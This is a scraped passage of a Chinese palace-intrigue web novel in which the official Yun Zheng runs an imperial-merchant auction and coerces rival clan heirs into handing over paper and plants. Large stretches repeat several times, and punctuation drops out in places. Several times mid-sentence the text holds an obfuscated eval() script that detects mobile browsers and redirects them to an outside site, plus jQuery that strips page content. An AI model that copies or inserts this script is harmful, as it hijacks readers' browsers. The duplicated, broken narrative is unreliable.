崔长洐笑吟吟的开口,“我不请自来,没给你带来困扰吧。” 没错,就是主动凑上来的。 没办法,接近她是一件很困难的事,她不参加社交,也不出去应酬,只在内务府待着,仅有的一点休息时间都用来陪家人。 云筝客气的笑了笑,“两位能来观礼,是我的荣幸。” 送上门的工具人,为什么不要?她不仅要,还要物尽其用。 这话太官方了,客气有余,亲近不足。 崔长洐不动声色的试探,“那个眼瞎的江闻舟,如今还好吗?” 他实在不理解,江闻舟怎么会舍弃如此出色的女子,脑子坏掉了吧。 就是不知道,她心里还惦记着吗? 云筝怔了怔,“不知道,我没有关注,我只记得叶宜蓁在……” 她看向一边直挺挺站在身后的男子,“谷雨大人,她还在牢里吗?” 谷雨今日负责安保工作,却没有四处视察,而是一直站在她身后。 “在,她们母女都在。” 永安长公主被皇上迁怒了,以照顾女儿的名义进去。 云筝挑了挑眉,她太忙了,没时间关注这些,“有人照应吗?” 谷雨哈哈一笑,“江闻舟每日都会带一盒饭菜进去。” 云筝很惊讶,到这种地步了,他居然不离不弃?看不出他是如此情深之人啊。 “他真闲,不用去马厩干活了?” “去的,每日干完活才去送饭。” 云筝嘴角微微勾起,江家在图谋什么?她不觉得江闻舟是痴情人。 就在她猜测之时,耳边响起崔长洐的声音,“锦云郡主,你有没有听过一句,最好的报复,是让自己过的比对手好上百倍千倍,让他们高攀不上,后悔一辈子。” 云筝回过神,随口说道,“我认为狠狠将仇人踩在脚底下,永世不得翻身,才是最好的报复。” 崔长洐:……太凶残了! “你好像不在乎自己的口碑?” 云筝拿起资料继续翻看,“我在乎自己的官声。” 崔长洐默了默,官声?“当官有什么好?又苦又累,又讨不了好,像我们这种人家是不会出仕的。” “怎么?我 说的不对?” 云筝微微摇头,道不同不相为谋,“清贵虽好,但,不是我所愿。” 崔长洐实在不能理解,这世间的男女谁不追求清贵? “你想要什么?” 云筝美丽的脸上写满了野心,“权力,我要掌握自己的命运!” 崔长洐被她的野心惊到了,“嫁一个让全天下女人都羡慕的高门世家夫君,夫贵妻荣,不用那么累,就能得到尊荣,不是更好吗?” 这话一出,众人齐刷刷的看过来,高门世家夫君?他只差将自己的名字说出来了。 谷雨微微蹙眉,有些不安,九千岁,主子,您怎么还不回京?有人盯上郡主,要挖您的墙角! 张总管的表情就耐人寻味,似羡慕,又似嫉妒,又似不屑。 这死丫头被崔家少主看上了?脸长的好,就是机会多啊。 而云筝看了男人一眼,眼神莫名,“哦,尊重每一个人的命运。” 她这不冷不热的语气,让崔长洐有点不舒服,“你有不同的想法?” 云筝嘴角扬起一抹淡笑,似嘲非嘲,“权力不牢牢掌握在自己手里,那还是权力吗?不,是虚妄。” “宁可少活十年,休得一日无权”,是无数男人的野心,却努力将女人打造成温顺听话的宠物。 对,没有思想,没有野心,喜欢时逗一逗玩一玩,不喜欢时一脚踢走的宠物。 崔长洐愣住了,有野心的女人他也见过,但都藏在温婉无害的外表下,哪像她,光明正大的说出口。 很奇怪,他不喜欢野心勃勃的女人,但,眼前的女子奇异的勾起了他的兴趣。 “话不能这么说,有男人宠爱,想要什么都送到你手里,一辈子都无忧无虑,那才是完美的人生。” 云筝微微颌首,“听上去不错,祝你早日过上被人宠被人爱的幸福生活。” 崔长洐:……这话怎么不对味? 众人:…… 孙守信匆匆跑过来,“禀大人,都好了,一切准备就绪。” 云筝看了一眼天色,“很好,大家的时间宝贵,那就开始吧。” 她看向旁边的张总管,笑眯眯的问道,“张总管,是你来,还是我来?” 张总管气笑了,整个流程都没有经过他 的手,也没有汇报过任何事项,只有今日把他拉来露个面,走个流程。 他一无所知,怎么走流程?是想看他当众出丑? “这是你的差事,你来吧。” 云筝一本正经的点头,“行,为了皇上,我不怕吃苦。” 张总管忍不住翻了个白眼,可恶,又被比下去了,这日子没法过了! 她还是赶紧嫁人,回家相夫教子吧。 云筝站在高台上,俯视台下的众人,一瞬间气势拉满。 她伸出一根纤细的手指晃了晃,全场立马安静下来,所有商家都仰望着她。 这一刻,她是全场的焦点,气场强大,浑身散发着光芒。 “各位,欢迎大家前来参加内务府广储司的皇商资格竞拍会,有些是之前合作的老朋友,有些是新朋友,很高兴见到大家。” 对于这种场合,她早就习惯了,游刃有余。 她落落大方的宣布,“此次报名的商家有508家,此次的流程是,各家给出样品和竞价,经过三轮的激烈角逐,最后选出211家。” 她仔细讲解了规则,随后,手指向主席台。 “本次参加评选的人,有内务府张总管,广储司的郎中易阳大人,郎中成东大人,明镜司的谷雨大人,再加上我,共有五人。” 看似五个人,其实就两个人,易阳和成东是云筝的人,谷雨是九千岁的人,也听云筝的。 “我,作为广储司的主官,拥有一票否决制。” 崔长洐不禁摇头,她怎么长着一张艳丽无双的脸,却手段如此强硬? 台上台下一片哗然,都怀疑自己的耳朵。 有人忍不住大声问道,“就是说,最后的决定权在您手里?” 云筝微微颌首,有着掌控一切的笃定,“可以这么理解。” 有人看向崔郑两人,“这两位是?” 云筝淡淡的道,“这是我特意邀请前来观礼的崔少洐公子,郑少荣公子,他们对这种活动非常感兴趣。” 被点名的两人拱手致意,风度翩翩,立马引发底下一波吹捧的狂潮。 云筝看了一眼,喧宾夺主,嫌弃。 她一敲锣鼓,将所有人的注意力拉回来,右手一挥,“开始吧。” 就在此时,下面传来一道怒吼声,“等一下,我有话要问。” 是雷五,他双目圆瞪,大声质问道,“锦云郡主,听说商家们给你送礼了,可有此事?” 全场一静,都有些不安。 哥们,送礼这种事只可意会不可言传啊。 雷五咄咄逼人的质问,“这算不算收**赂?算不算以权谋私?算不算辜负了皇上的信任?” 一连三问,气势逼人,全场鸦雀无声。 的手,也没有汇报过任何事项,只有今日把他拉来露个面,走个流程。 他一无所知,怎么走流程?是想看他当众出丑? “这是你的差事,你来吧。” 云筝一本正经的点头,“行,为了皇上,我不怕吃苦。” 张总管忍不住翻了个白眼,可恶,又被比下去了,这日子没法过了! 她还是赶紧嫁人,回家相夫教子吧。 云筝站在高台上,俯视台下的众人,一瞬间气势拉满。 她伸出一根纤细的手指晃了晃,全场立马安静下来,所有商家都仰望着她。 这一刻,她是全场的焦点,气场强大,浑身散发着光芒。 “各位,欢迎大家前来参加内务府广储司的皇商资格竞拍会,有些是之前合作的老朋友,有些是新朋友,很高兴见到大家。” 对于这种场合,她早就习惯了,游刃有余。 她落落大方的宣布,“此次报名的商家有508家,此次的流程是,各家给出样品和竞价,经过三轮的激烈角逐,最后选出211家。” 她仔细讲解了规则,随后,手指向主席台。 “本次参加评选的人,有内务府张总管,广储司的郎中易阳大人,郎中成东大人,明镜司的谷雨大人,再加上我,共有五人。” 看似五个人,其实就两个人,易阳和成东是云筝的人,谷雨是九千岁的人,也听云筝的。 “我,作为广储司的主官,拥有一票否决制。” 崔长洐不禁摇头,她怎么长着一张艳丽无双的脸,却手段如此强硬? 台上台下一片哗然,都怀疑自己的耳朵。 有人忍不住大声问道,“就是说,最后的决定权在您手里?” 云筝微微颌首,有着掌控一切的笃定,“可以这么理解。” 有人看向崔郑两人,“这两位是?” 云筝淡淡的道,“这是我特意邀请前来观礼的崔少洐公子,郑少荣公子,他们对这种活动非常感兴趣。” 被点名的两人拱手致意,风度翩翩,立马引发底下一波吹捧的狂潮。 云筝看了一眼,喧宾夺主,嫌弃。 她一敲锣鼓,将所有人的注意力拉回来,右手一挥,“开始吧。” 就在此时,下面传来一道怒吼声,“等一下,我有话要问。” 是雷五,他双目圆瞪,大声质问道,“锦云郡主,听说商家们给你送礼了,可有此事?” 全场一静,都有些不安。 哥们,送礼这种事只可意会不可言传啊。 雷五咄咄逼人的质问,“这算不算收**赂?算不算以权谋私?算不算辜负了皇上的信任?” 一连三问,气势逼人,全场鸦雀无声。 的手,也没有汇报过任何事项,只有今日把他拉来露个面,走个流程。 他一无所知,怎么走流程?是想看他当众出丑? “这是你的差事,你来吧。” 云筝一本正经的点头,“行,为了皇上,我不怕吃苦。” 张总管忍不住翻了个白眼,可恶,又被比下去了,这日子没法过了! 她还是赶紧嫁人,回家相夫教子吧。 云筝站在高台上,俯视台下的众人,一瞬间气势拉满。 她伸出一根纤细的手指晃了晃,全场立马安静下来,所有商家都仰望着她。 这一刻,她是全场的焦点,气场强大,浑身散发着光芒。 “各位,欢迎大家前来参加内务府广储司的皇商资格竞拍会,有些是之前合作的老朋友,有些是新朋友,很高兴见到大家。” 对于这种场合,她早就习惯了,游刃有余。 她落落大方的宣布,“此次报名的商家有508家,此次的流程是,各家给出样品和竞价,经过三轮的激烈角逐,最后选出211家。” 她仔细讲解了规则,随后,手指向主席台。 “本次参加评选的人,有内务府张总管,广储司的郎中易阳大人,郎中成东大人,明镜司的谷雨大人,再加上我,共有五人。” 看似五个人,其实就两个人,易阳和成东是云筝的人,谷雨是九千岁的人,也听云筝的。 “我,作为广储司的主官,拥有一票否决制。” 崔长洐不禁摇头,她怎么长着一张艳丽无双的脸,却手段如此强硬? 台上台下一片哗然,都怀疑自己的耳朵。 有人忍不住大声问道,“就是说,最后的决定权在您手里?” 云筝微微颌首,有着掌控一切的笃定,“可以这么理解。” 有人看向崔郑两人,“这两位是?” 云筝淡淡的道,“这是我特意邀请前来观礼的崔少洐公子,郑少荣公子,他们对这种活动非常感兴趣。” 被点名的两人拱手致意,风度翩翩,立马引发底下一波吹捧的狂潮。 云筝看了一眼,喧宾夺主,嫌弃。 她一敲锣鼓,将所有人的注意力拉回来,右手一挥,“开始吧。” 就在此时,下面传来一道怒吼声,“等一下,我有话要问。” 是雷五,他双目圆瞪,大声质问道,“锦云郡主,听说商家们给你送礼了,可有此事?” 全场一静,都有些不安。 哥们,送礼这种事只可意会不可言传啊。 雷五咄咄逼人的质问,“这算不算收**赂?算不算以权谋私?算不算辜负了皇上的信任?” 一连三问,气势逼人,全场鸦雀无声。 的手,也没有汇报过任何事项,只有今日把他拉来露个面,走个流程。 他一无所知,怎么走流程?是想看他当众出丑? “这是你的差事,你来吧。” 云筝一本正经的点头,“行,为了皇上,我不怕吃苦。” 张总管忍不住翻了个白眼,可恶,又被比下去了,这日子没法过了! 她还是赶紧嫁人,回家相夫教子吧。 云筝站在高台上,俯视台下的众人,一瞬间气势拉满。 她伸出一根纤细的手指晃了晃,全场立马安静下来,所有商家都仰望着她。 这一刻,她是全场的焦点,气场强大,浑身散发着光芒。 “各位,欢迎大家前来参加内务府广储司的皇商资格竞拍会,有些是之前合作的老朋友,有些是新朋友,很高兴见到大家。” 对于这种场合,她早就习惯了,游刃有余。 她落落大方的宣布,“此次报名的商家有508家,此次的流程是,各家给出样品和竞价,经过三轮的激烈角逐,最后选出211家。” 她仔细讲解了规则,随后,手指向主席台。 “本次参加评选的人,有内务府张总管,广储司的郎中易阳大人,郎中成东大人,明镜司的谷雨大人,再加上我,共有五人。” 看似五个人,其实就两个人,易阳和成东是云筝的人,谷雨是九千岁的人,也听云筝的。 “我,作为广储司的主官,拥有一票否决制。” 崔长洐不禁摇头,她怎么长着一张艳丽无双的脸,却手段如此强硬? 台上台下一片哗然,都怀疑自己的耳朵。 有人忍不住大声问道,“就是说,最后的决定权在您手里?” 云筝微微颌首,有着掌控一切的笃定,“可以这么理解。” 有人看向崔郑两人,“这两位是?” 云筝淡淡的道,“这是我特意邀请前来观礼的崔少洐公子,郑少荣公子,他们对这种活动非常感兴趣。” 被点名的两人拱手致意,风度翩翩,立马引发底下一波吹捧的狂潮。 云筝看了一眼,喧宾夺主,嫌弃。 她一敲锣鼓,将所有人的注意力拉回来,右手一挥,“开始吧。” 就在此时,下面传来一道怒吼声,“等一下,我有话要问。” 是雷五,他双目圆瞪,大声质问道,“锦云郡主,听说商家们给你送礼了,可有此事?” 全场一静,都有些不安。 哥们,送礼这种事只可意会不可言传啊。 雷五咄咄逼人的质问,“这算不算收**赂?算不算以权谋私?算不算辜负了皇上的信任?” 一连三问,气势逼人,全场鸦雀无声。 的手,也没有汇报过任何事项,只有今日把他拉来露个面,走个流程。 他一无所知,怎么走流程?是想看他当众出丑? “这是你的差事,你来吧。” 云筝一本正经的点头,“行,为了皇上,我不怕吃苦。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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是雷五,他双目圆瞪,大声质问道,“锦云郡主,听说商家们给你送礼了,可有此事?” 全场一静,都有些不安。 哥们,送礼这种事只可意会不可言传啊。 雷五咄咄逼人的质问,“这算不算收**赂?算不算以权谋私?算不算辜负了皇上的信任?” 一连三问,气势逼人,全场鸦雀无声。 的手,也没有汇报过任何事项,只有今日把他拉来露个面,走个流程。 他一无所知,怎么走流程?是想看他当众出丑? “这是你的差事,你来吧。” 云筝一本正经的点头,“行,为了皇上,我不怕吃苦。” 张总管忍不住翻了个白眼,可恶,又被比下去了,这日子没法过了! 她还是赶紧嫁人,回家相夫教子吧。 云筝站在高台上,俯视台下的众人,一瞬间气势拉满。 她伸出一根纤细的手指晃了晃,全场立马安静下来,所有商家都仰望着她。 这一刻,她是全场的焦点,气场强大,浑身散发着光芒。 “各位,欢迎大家前来参加内务府广储司的皇商资格竞拍会,有些是之前合作的老朋友,有些是新朋友,很高兴见到大家。” 对于这种场合,她早就习惯了,游刃有余。 她落落大方的宣布,“此次报名的商家有508家,此次的流程是,各家给出样品和竞价,经过三轮的激烈角逐,最后选出211家。” 她仔细讲解了规则,随后,手指向主席台。 “本次参加评选的人,有内务府张总管,广储司的郎中易阳大人,郎中成东大人,明镜司的谷雨大人,再加上我,共有五人。” 看似五个人,其实就两个人,易阳和成东是云筝的人,谷雨是九千岁的人,也听云筝的。 “我,作为广储司的主官,拥有一票否决制。” 崔长洐不禁摇头,她怎么长着一张艳丽无双的脸,却手段如此强硬? 台上台下一片哗然,都怀疑自己的耳朵。 有人忍不住大声问道,“就是说,最后的决定权在您手里?” 云筝微微颌首,有着掌控一切的笃定,“可以这么理解。” 有人看向崔郑两人,“这两位是?” 云筝淡淡的道,“这是我特意邀请前来观礼的崔少洐公子,郑少荣公子,他们对这种活动非常感兴趣。” 被点名的两人拱手致意,风度翩翩,立马引发底下一波吹捧的狂潮。 云筝看了一眼,喧宾夺主,嫌弃。 她一敲锣鼓,将所有人的注意力拉回来,右手一挥,“开始吧。” 就在此时,下面传来一道怒吼声,“等一下,我有话要问。” 是雷五,他双目圆瞪,大声质问道,“锦云郡主,听说商家们给你送礼了,可有此事?” 全场一静,都有些不安。 哥们,送礼这种事只可意会不可言传啊。 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云筝神色平静红唇微吐“关你屁事。” 四个冷冰冰的字眼砸的雷五懵逼了“你说什么?再说一遍。” 云筝眼神冷冷的居高临下的看着他“关你屁事你以为你是谁呀?跳梁小丑而已胆敢跟本官叫嚣活腻味了?” 全场静的出奇妈呀好强势。 雷五惊呆了都说他嚣张跋扈 “是我没有资格管张总管你身为内务府的总管眼见属下收**赂就不管管?” 他是会挑事的。 张总管默了默眼神有些复杂“怎么管?” 他试过了管不了! 雷五恨铁不成钢他是云筝的上司整个内务府都归他管怎么能如此软弱? “别的不说为了公平公正不能让她主持这种活动了。” 张总管嘴角轻轻上扬这个可以。 他故意问道“锦云郡主下面对你很不满你看?” 自从她独掌广储司直接架空他让他脸面全失焉能不气?他等这个机会等很久了。 云筝打量了他一眼“你想怎么样?” 张总管面带笑容和蔼可亲的说道“要不你暂时休息一下把所有的资料都交给我我来主持。” 有些事情不能退一步退步步退。 她这次退了等于将好不容易争取到的权柄送给了张总管。 云筝笑容灿烂无比但说出来的犀利凶残“张总管我都不知道你何时成了雷家的狗?雷家人说什么你就应什么皇上知道吗?” 台上台下鸦雀无声大气不敢喘大佬之间的刀光剑影实在有点吓人。 郑长荣倒抽一口冷气不敢相信自己的眼睛。 她用最灿烂的笑容说最狠的话厉害了! 张总管老脸挂不住冷冷的道“锦云郡主有些话不能乱说。” 云筝一本正经的点头“对啊有些话不能乱说说错了要倒大霉的。” 在大庭广众之下公然跟上司对着干这让张总管很没有面子。 “我只是提醒你一句。” 云筝向皇宫方向拱了拱手“广储司的一 切事宜由我决断直接向皇上负责这是圣旨你要为了雷家人违背圣意吗?” 张总管暗暗骂娘“行不过有什么后果我是不会替你兜底的。” 云筝挑了挑眉语气凉薄“你不行你没那本事我自会找皇上和九千岁为我兜底不劳你操心了。” 张总管气的差点吐血可恶! 两人一来一往过招以张总管败北结束。 台上台下看云筝的眼神都不一样了佩服害怕惊恐什么都有。 崔长洐眼睛亮的出奇眼中的兴味越发浓烈。 没白来真没白来。 雷五脑袋乱哄哄的他好像犯蠢了锦云郡主的攻击力太强他恐怕不是对手。 但事已至此只能一条路走到底。 “锦云郡主怎么才能保证此次竞拍会的公平公正?我建议请宫中的贵妃娘娘派人监督。” 他说完还冲身边的人使眼色。 有些人默默朝后退了几步摆明了撇清关系。 但有些人硬着头皮开口“我附议。” 没办法他们是雷家的附庸靠着雷家才能发展起来。 “我也附议。” 雷五心中多了一丝底气“郡主您看?” 云筝的面色不变“你们都是这种想法?” 雷五的声音可响亮了“是。” 云筝眉头一挑“那行 雷五和他的狗腿子们愣住了“什么?” 云筝神色清冷“皇上允许我便宜行事一切事宜皆由我决断若你们不服尽管让你们的后台**我。” “不过没啥用这是内务府是皇上的私库一切由他说了算。” “愣着干吗?赶紧滚。” 这就是大权在握的强势和霸气! 雷五目瞪口呆她不讲道理“我不走凭什么让我走?” 云筝很不耐烦她的时间宝贵不能浪费在他们身上“来人把他们拖出去。” 明镜司冲了过来将雷五几人往外拖雷五用力挣扎但没啥用。 眼见就要被拖出会场雷五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095304|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急的满头大汗忽然急中生智。“一万两让我留下 。” 云筝淡然的声音响起,“十万两。” 雷五这会儿什么都顾不上了,迫不及待的点头,“好,就十万两。” 这些年挣到了金山银山,十万两根本不算什么,还能让她落下一个把柄,不亏。 云筝看向其他狗腿子,“还有你们,是走,还是留?” 那几个人相视一眼,不约而同的点头,“留留留,我们也付钱。” 口说无凭,当场付钱! 不一会儿,桌上就堆满了银票。 云筝也不碰,直接吩咐道,“成东,你记帐,易阳,你管钱。等这边结束了,连同之前的钱都送到御前,就当补之前的亏空。” 所有人愣住了,啥?他们之前送的礼,她收是收了,但,转手就送到皇上面前? 那她怎么不解释? 啊,忘了,真正的强者是不屑解释的。 只有,雷五枉做小人了,他整个人快碎了,还以为能抓到她的把柄呢。 台下,郑长荣忍不住赞叹道,“聪明绝顶,半点都不沾手,既狠狠宰了他们一刀,又打压了他们的气焰。” 崔长洐痴痴的看着台上张扬而又美丽的女子,眼中全是笑意,“最重要的是,讨好了皇上,我有点懂皇上了。” 有人为他疯狂敛财,又一片忠心,能不喜欢吗?能不维护吗? “这样的女子完全有资格做我崔氏一族的宗妇。” 郑长荣眼巴巴的看过来,“我觉得她更适合郑家,表兄,这一次你就让让我吧。” 表兄弟俩向来感情不错,相互谦让。 但,这一次,崔长洐绝不答应,“别的都能让,唯独这不行。” 张总管嘴角直抽,为什么要让他听到这些? 一道嘲讽的声音猛的响起,“说的好像你们能决定似的,做什么春秋大梦?锦云郡主才看不上你们这些自以为是,傲慢无礼的家伙。” 是谷雨,他实在听不下去了,啥玩意? 第207章 她轻轻一句话,就要灭一个千年世家 崔长洐淡淡瞥了一眼,“你懂什么?千百年来我们清河崔家都是世家之首,无人可及,不知有多少女子为了嫁进崔家不择手段。 世家子弟的矜贵和傲慢,不经意之间流露出来。 谷雨从小跟在九千岁身边,对世家权贵没有什么敬畏之心。 “是不懂,但,我看出来了,你想要一个聪慧的女子为你打理宗族和后院,而锦云郡主的野心在官场。 “你们不是一路人,道不同不相为谋。 崔长洐眼中有着志在必得的野心,他遇到了最好的,怎么肯退而求其次? “我有的是耐心和手段,让她为我而改变。 女子为了情爱,什么都愿意付出,什么都愿意牺牲。 谷雨眼神一冷,手段?这哪是什么真心?不过是看到优秀女子的征服欲。 “**这条心吧,她有喜欢的人了,比你们好看,比你们优秀,比你们出色,比你们英武不凡。 崔长洐脸色微变,“是谁? “不告诉你。 崔长洐眼神微闪,转头看向张总管,“锦云郡主有心上人? “不知道。 台上,云筝宣布了规则,给商家们一个时辰考虑暗标价格。 第一步,在一众样品中挑出三分之二进入初选。 第二步,根据暗标价格和样品品质综合考量,挑出三分之二进入复选。 第三步,由云筝从中选出211个皇商名额。 这样层层选**的名额,确保最优选。 为期三年,三年后得重新挑选皇商资格。 当然,在这三年内提供的货物有问题,直接取消皇商资格,永不录用。 “孙守信,你们六库司库各负责自己管辖内的,记住,将来货物出问题,你们要追究连带责任的。 “是。 “易阳,成东,你们俩负责监督。 “是。 云筝一下台,谷雨就迎过去,嘀嘀咕咕的告状。 “这两人把您当货物争抢呢,没有半点真心,但凡有一点尊重,也不会当众说出这样的话,全然不顾您的名声。 他疯狂上眼药,“ 他们可能觉得您嫁过一次,肯娶您是恩赐呢。 是有很多人家千方百计想跟五姓七望攀亲,但,绝对不包括云筝。 云筝眼神微冷,这些世家公子自视过高,表面装的再温润有礼,骨子里的傲慢藏不住,她不喜欢。 她坐回位置,春华送上新茶,她拿起来喝了一口润润喉。 崔长洐凑了过来,“锦云郡主,听说你有心上人了? 云筝微微眯眼,眼神很冷,“你很冒昧,也很不尊重人。 “我只是……崔长洐脸上挂着温润的笑。 云筝右手微抬,“闲着也是闲着,不如,搞点事情做吧。 “听闻,清河最出名的是清河纸,轻薄如蝉,吸墨性极好,麻烦崔家供一批货吧。 崔家的清河纸非常有名,但量不多,只供自家用都不够。 偶尔当礼物送出去,都会被当成宝贝般供着。 她只听过清河纸,却没有用过,宫中也没有。 崔长洐愣住了,她疯了吗?让崔家当皇商?还想让他们上贡清河纸? “抱歉,清河纸不对外供应,你若成为了崔家人,想怎么用都行。 世家积累了几千年的秘方数不胜数,从不对外公开,这是家族的底蕴。 “锦云郡主,我若求娶…… 云筝神色不变,却说出了最狠绝的话,“我会向皇上进言,掐断清河上游的水。 这话一出,四周的气氛一僵,大家不敢置信的瞪大眼睛。 她在说什么? 张总管下意识的拉着椅子,远离云筝,她太可怕了,如此狠辣的绝户计张口就来。 她轻轻一句话,就要灭一个千年世家。 崔长洐脸色大变,这一招太狠辣了。 清河是清河地区的母亲河,崔家祖宅就建在清河旁边。祖祖辈辈都靠着清河而活。 而,崔家在清河经营了上千年,大半的良田都归崔家所有,这些都需要清河水灌溉。 “锦云郡主,你知不知道自己在说什么? 他从来不知道,有人掐崔家,一掐一个准。 如此凶残,可怕! 云筝把玩着茶杯,语气凉凉的,“怎么?有什么问题吗? 可以说,崔家是清河的土皇帝,朝廷官员都要听崔家的。 想要在清河搞崔家,那是不可能的。 但,她别出心裁,在上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095305|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游掐水源,直接掐崔家的脖子。 崔长洐心里一颤,看她对付别人时,感觉很有意思。 但轮到自家被掐住脖子时,整个人都不好了。 他是聪明人,立马示弱,“郡主,不是我们崔家不想提供,而是,这成本太高,实在是有心无力。” 云筝淡淡的道,“多少钱?” 崔长洐眼神微闪,“一刀纸一万两。” 他漫天开价,云筝就地还价,“一两一刀,要五千刀。” 崔长洐倒抽一口冷气,一两?她怎么不去抢?“恐怕不行,这赔本的买卖,没法做。” 云筝面带微笑,“这样啊,那我也不好强人所难。” 她如此通情达理,好像不是刚才说掐断上游水源的狠人。 崔长洐有些不安,她就这么放弃了?“多谢郡主体谅。” 云筝漫不经心的笑了笑,“那就交出清河纸的秘方,我们自己造。” 崔长洐:……好家伙,这才是她的真实目的吧。 “不行。” 云筝顿时翻脸了,“这不行,那不行,你们崔家真强横啊。” 崔长洐差点吐血,你要不要听听自己在说什么? 到底谁强横?你可是要强夺清河纸的秘方! 云筝板着俏脸,冷笑一声,“有好东西不进献给君王,而是自己享受,对皇上全无半点敬畏之心。” 谷雨乐坏了,居然想让权势滔天的郡主回归后院,只为崔家做贡献,做什么春秋大梦! 看到了吧,她想搞崔家,分分钟钟的事。 “不敬啊,那就掐清河上游的水源,别想造清河纸了。” 云筝微微颌首,“这主意好,我喜欢,我这就向皇上进言。” 崔长洐额头渗出冷汗,“我们崔家对皇上忠心耿耿,绝无不敬,我代表崔家进献五千刀清河纸,不要钱。” 不就是要清河纸吗?他给!只希望她不要得寸进尺! 云筝这才露出灿烂的笑容,“那多不好意思啊,谢谢崔公子。” 她翻脸比翻书还快,让崔长洐第一次感受到了她的可怕。 权力啊,真是个好东西。 云筝的视线慢悠悠的转向郑长荣。 郑长荣紧张的咽了咽口水,额头冒汗,“你……你想干什么?” 第208章 疯狂薅羊毛,爽歪歪 云筝面带微笑,“听说荥阳郑家有一种观赏植物,洁白如玉,柔软像云朵,能送些给我吗? 她语气轻柔,笑容甜美,却让郑长荣后背发寒,她怎么连这种小事都知道的一清二楚? “这……家母独爱白玉棉,所以特意建了一座白玉棉农庄,平时视若珍宝,谁都不许碰。郡主,实在抱歉。 就是不知道,她为什么看上了白玉棉?除了观赏,毫无用处。 难道,也是喜欢这白玉棉? 云筝语气淡淡的,“哦。 郑长荣心中忐忑不安,摸不透她的心思,未知是最恐怖的。 崔长洐不乐意了,“就这样?不掐断荥阳河的上游水? 对他又是威胁,又是恐吓的,对郑长荣怎么就这么轻松放过了? 这不公平啊。 郑长荣气的直瞪眼,“表兄。 哪有这样的?还是不是亲人了? 云筝把玩着茶杯,慢悠悠的开口,“不急,哪天要是有天火,把白玉棉全烧了,那就有意思了。 郑长荣脸色一白,“烧了? 云筝眨巴着眼睛,“是啊,一把天火全烧了,世人就会怀疑荥阳郑家是不是遭了天谴? “啊,到时河畔露出一块石碑,写着,荥阳郑家,天命所归…… 这一招接着一招,全是极阴损的招数。 最后,还来一个天命所归,这要坑死整个郑氏一族啊。 郑长荣毛骨悚然,这绝对是威胁,“我送,我送,你要多少,我让人去取! 云筝随口说道,“十万株。 郑长荣满头大汗,“没有那么多,一万株吧。 这一次,云筝没有为难他,“行,我很好说话的。 郑长荣愣住了,她一开始就想要一万株吧。 听完全过程的张总管:……损,还是你损! 崔长洐除了沉默,还是沉默。 他对云筝的心计和手段有了一个清晰的认知,她不是普通闺阁女子,眼界,心胸,手段比起那些官场老油条都不差。 甚至,多了一丝年轻人特有的锐气和犀利。以及,有恃无恐的强大底气。 她的背后站着皇上,还站着九千岁, 整个明镜司对她都服服贴贴。 怎么办?更想要了! 谷雨哈哈一笑“没错郡主是世间最好说话最大度的人。” 众人送了他一个白眼马屁精闭着眼睛说瞎话真的好吗? 孙守信快步走过来“大人初选的名单出来了您看看。” 云筝伸出手“行拿来吧。” 云筝的注意力转移了郑长荣长长吐出一口气冷风一吹这才发现后背衣服湿透了。 他心思一转站起来说道“听闻沁园的景观是一绝我想去参观一下表兄走我们一起逛逛。” 他冲崔长洐使了眼色崔长洐毫不犹豫的跟着他走了。 云筝抬起头看着他们远去的身影嘴角轻轻上扬。 其实这两人都是青年才俊手段心计都不差唯独把世家的声誉和传承看的比自己的命还重要。 这就是他们最大的弱点。 张总管无意中瞥见了这一幕哆嗦了一下下意识的扭头。 妈呀这妖孽还想干什么? 崔长洐表兄弟走到哪里都是一道亮眼的风景线前来攀谈的商家不计其数拼命巴结讨好的话滔滔不绝。 他看着大家热情如火的脸暗暗吁了一口气这才是对待世家公子的正常态度。 锦云郡主是异类。 好不容易将这些人打发走郑长荣终于能坐下来休息一会儿。 “表兄你为什么要答应锦云郡主?你开了一个很坏的头!” 崔长洐眉头微蹙“我有什么办法?她掐住了崔家的脖子。” 郑长荣没好气的翻了个白眼“你聪明绝顶不会真相信她会向皇上进言掐断清河上游的水源这种荒谬的话吧?” “退一万步说就算她真进言了我们这位皇上那么在意身后事不可能答应啊。” 清河上游被截断遭殃的不仅仅是崔家还有无数平民百姓。 谁敢冒天下之大不韪掐断水源? 崔长洐神色清冷的可怕“官方不会但**不分家可以谎称是盗匪所为。” “呃?”郑长荣愣住了。 崔长洐的心情非常复杂“是我明知她是在吓唬我但还是低 头认输了,我别无选择。” 她只差明说,崔家再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 